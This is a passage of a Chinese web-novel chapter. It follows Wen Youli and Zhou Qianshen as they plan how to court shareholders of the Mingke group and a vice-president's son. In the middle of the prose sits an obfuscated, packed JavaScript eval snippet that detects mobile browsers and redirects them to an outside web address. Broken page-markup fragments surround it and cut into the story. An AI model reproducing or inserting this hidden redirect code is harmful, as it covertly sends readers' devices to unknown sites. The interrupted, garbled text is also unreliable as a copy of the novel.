---
两人面对面吃饭，周乾燊本来也不饿，只是陪着吃点。他不上心地挑着面，抬头看看女孩，见对方小脸几乎埋在碗里，只微微露出一点雪白冒汗的鼻尖。
模样实在可爱，周乾燊瞧着她，没挪开眼。
温幼梨被他盯得不自在，又想起刚刚自己窝他怀里又哭又闹的样子，一种莫名的尴尬突然浮现上来，耳尖被大碗冒出的热气蒸得微微发红，脸往碗里埋得更深。
又装作无事发生吃完最后几口面，把碗一推，“我吃好了。”说完就从桌上下去。
周乾燊看着好笑，随手把碗摞起来收了，从厨房出来，只见温幼梨又窝回沙发里，在那儿蜷缩成一小团，抱着他的平板不知道在看什么。
他走过去，坐在她旁边，女孩看得很投入，也不抬头也不说话。
过了一会儿，她凑过来，随手把平板丢开，窝进他怀里，“我今晚要住在这里。”
这是通知房主呢，周乾燊任她枕在腿上，伸手揉揉她脑袋，帮她把发髻拆开。
“可以，”他说，五指插在她发间不紧不慢梳理，“明天去上学？”
“嗯。”温幼梨把脸埋他腿间，声音闷闷的透出来：“股东们还没确定协商日期……好烦，最好永远也别确立，我才不想跟他们打交道……”
周乾燊把她抱起来，让她能把小脸靠在他肩膀上。
“不想说话就不说，”他拉过平板，点亮，果然看见是调解机构界面，看来温温心里已经有数了。他大手拍了拍她脑袋，“集团里有几个跟温伯父关系不错的高管，也有站中立的，温温可以试着拉拢一下，让他们参与协商有一定的益处。”
温幼梨烦得只想拱脑袋，把周乾燊衬衫都拱成了皱巴巴的废布，最后长长叹了口气：“好吧好吧好吧。”
她歪着头，仿佛吊着的那一口已经不足以支撑脑袋的重量，“怎么拉拢呢？请吃饭？陪着打高尔夫？去跟他们谈中年男人最爱的古玩玉器字画？同时再一起追忆一下当年和爸爸共同打拼创办集团的艰辛岁月？”
男人被她逗笑了，“嗯。可以试试。”
“你——”温幼梨用脑袋轻轻撞他一下，“你不许嘲笑我。”
男人正了正色，把温幼梨揽过来，以防她那纤细的脖颈歪太久累到，打开平板切换界面，语气带着谈正事的从容：
“追忆往昔是下策，我们温温又不是除了父亲的情份外一无所有；打高尔夫聊古玩是中策，能拉近关系，但耗时太长，而且温温——”
他顿了顿，低头看女孩有没有认真听，随后满意地笑了下。
“这件事你未必真能投其所好，费力，但是效果不一定好。”
温幼梨听得一个头两个大，勉强把沉甸甸的脑袋从周乾燊肩膀上抬起来一点，仰头看他脸，“那我怎么办？”
周乾燊没急着回答她，把平板刚调出来的界面给她看，只见那赫然是一份铭科集团的股东结构分析图。
“……”温幼梨目光一顿，从他怀里直起身体，“你怎么会有这个？”
大型集团尤其是上市公司的股东结构确实有公开部分，但深度分析涉及代持、关联方、利益联盟、质押情况等绝对是核心机密，周乾燊一个几乎和铭科内部毫无关系的人，是从哪里获取的这些信息？
他手里有这些，是不是意味着其他人也早已……
温幼梨又看了看分析图，确定自己没看错，她又抬头看周乾燊。
男人有些好笑，这小姑娘的戒备心都用到什么地方了？
“别多想，”他指尖敲了敲屏幕，“别人手里没有，以后再给你解释。现在先接着上一个话题。”
…………
第二天早上睡醒，温幼梨耳边还在嗡嗡作响。
什么“研发线”、“专利”、“创业项目”、“资金人脉”……她头都痛了，昏昏沉沉从被窝里爬起来，洗漱完推开门。
周乾燊居然精神焕发地坐在餐桌前，沐浴着晨光不知道是在看股票还是在看什么组织什么机构又发布的什么经济报告什么风险分析，总之肯定不是在闲着。
温幼梨凑过去，端起周乾燊的咖啡喝了一口。
苦得像中药。
见她出来，周乾燊放下平板，轻点桌面示意她坐下，擦手后给她递了片吐司。
“司机把你今天要用的教材拿来了，待会让他送你，我去公司开晨会。中午接你出来吃饭？”
温幼梨咬着吐司摇摇头：“我在学校吃。”
“好。”
男人并不多问，替温幼梨把另一片吐司的果酱抹均匀递给她，看了眼时间，起身，门铃就在这时被摁响。
温幼梨没抬头，“谁啊？”
“……”周乾燊话音微不可察地顿了一下，“聿珩，我家老二。”他又坐回来，示意阿姨去开门。
温幼梨没觉得有什么不对，继续咬着吐司，几秒后果然有个男人走进来，身高腿长，冲着周乾燊叫了声“大哥”。
又看向温幼梨，眉毛一挑，当即把她认了出来，笑着打招呼。
温幼梨有点尴尬，没想到对方开口这样快，她含蓄地笑了笑，“聿珩哥。”
周聿珩进来自己在沙发上找了个位置坐下，很闲适地交叠着长腿，看样子是在等周乾燊。
“……”
温幼梨也不好再待，迅速吃完半片吐司起身，“大哥我走了，聿珩哥再见！”抓起桌上的皮筋下楼找司机去了。
她边挽起头发边一屁股坐进车里，司机回头看她，知道温家这位小姐好相处，就跟她搭话：“快迟到了？”
“没有，”温幼梨喘了口气，放下握着头发的手，“聿珩哥来了，挺尴尬的，我就走了。”
司机笑了笑，扭回脸，从后视镜里看气喘吁吁的小姑娘。
“二少爷他来过好几回了，都是早上，上回Louise小姐也在，他们都好相处，不用尴尬。”
温幼梨坐在后面看看司机，听他这话，周家这几位兄妹的关系应该挺亲密，都把周乾燊这个大洁癖的家开成茶餐厅了。
还挺好的……
---
早上交代过了中午不用接，下午温幼梨下课，刚出教室就接到了周乾燊的电话。
“在教学楼下，从侧边楼梯出来就看见了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490277|185823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
温幼梨蹦蹦跳跳出去，下午最后一大节下课人不是很多，周乾燊的车就停在教学楼对面马路牙子旁边，学生们从边上路过，也不拥挤，也没人注意。
她拉开副驾门，先把书包扔进去，人跟着坐进去砰地拉上门。
这么有劲，不像昨晚听他上课那副蔫巴巴的模样。周乾燊替她把书包放到后座，“喜欢学校？”
温幼梨点点头，又摇摇头，眼神惊恐，“我不考研也不保研。”
周乾燊失笑：“好。”
黑色汽车缓缓驶出学校，温幼梨手机叮咚一声，收到一条新消息。
——是铭科集团祁副总的独立背景调查报告。
祁副总，铭科集团执行副总裁，负责集团战略与研究、投资交易及盘活等工作，手握铭科研发线和几个关键专利，这些年一直被现任总裁派系排挤，儿子想创业的项目缺钱缺人脉。
温幼梨快速浏览了祁副总儿子本人的性格、能力、公司领域、目前瓶颈、竞争对手和团队构成，心中大概有了谱。
周乾燊开着车，从倒车镜里瞧她一眼，又转回视线，“开心了？”
“嗯，”温幼梨点点头，“你助理和律师效率挺高的嘛，报告已经出来了。”
周乾燊笑了笑：“效率不高在我这里留不下。”
温幼梨无所谓，继续看报告，“我觉得资金不成问题，只是他做的这个项目需要医疗器械许可证……”
她抬起小脸，询问似的看周乾燊。
“所以还要等药监审批，否则无法上市？”
周乾燊“嗯”了声。
这事说起来容易，实际操作却很麻烦。
申报数量和审评资源间往往存在僧多肉少的巨大矛盾，外加技术审评耗时和某些政策、流程的影响，许多申请材料都会在庞大的官/僚体系下被积压，往往很难按正常的流程走下去。但对于创业公司而言，时间就是生命，如果有药监方面的关系可利用，就能极大提高效率，节省数月甚至数年的时间成本。
男人余光瞧了眼副驾的女孩，“有想法吗？”
“嗯……”温幼梨思索片刻，漂亮的眉毛微微蹙起，“感觉好麻烦，他这个项目的申请材料都不知道交上去多久了，说不定已经被积压遗忘在哪个犄角旮旯，就算我能……”
男人知道她要说什么，“不用等审批结果出来。”
“什么？”
汽车缓缓停下，男人从驾驶席偏过脸，“提供一个相对可预测的时间表就可以了，创业公司的融资、规划和估值在一定程度上都可以参考这个时间表，这就够了。”
温幼梨恍然大悟。
父亲生前确实有药监方面的好友，外加周乾燊介绍的CRO合伙人，这些足以帮助一个项目用最高效、最专业的方式通过审批。
温幼梨当天晚上留在周乾燊那里，临睡前又想了几个合作方案。
要跟祁副总牵线搭桥，从他儿子那里入手无疑是个好办法。“送礼”是低级的策略，“投资”和“战略合作”才是她从周乾燊那里学到的手段，她站在落地窗边，看着脚下璀璨的夜景，心里有了几个介入方法。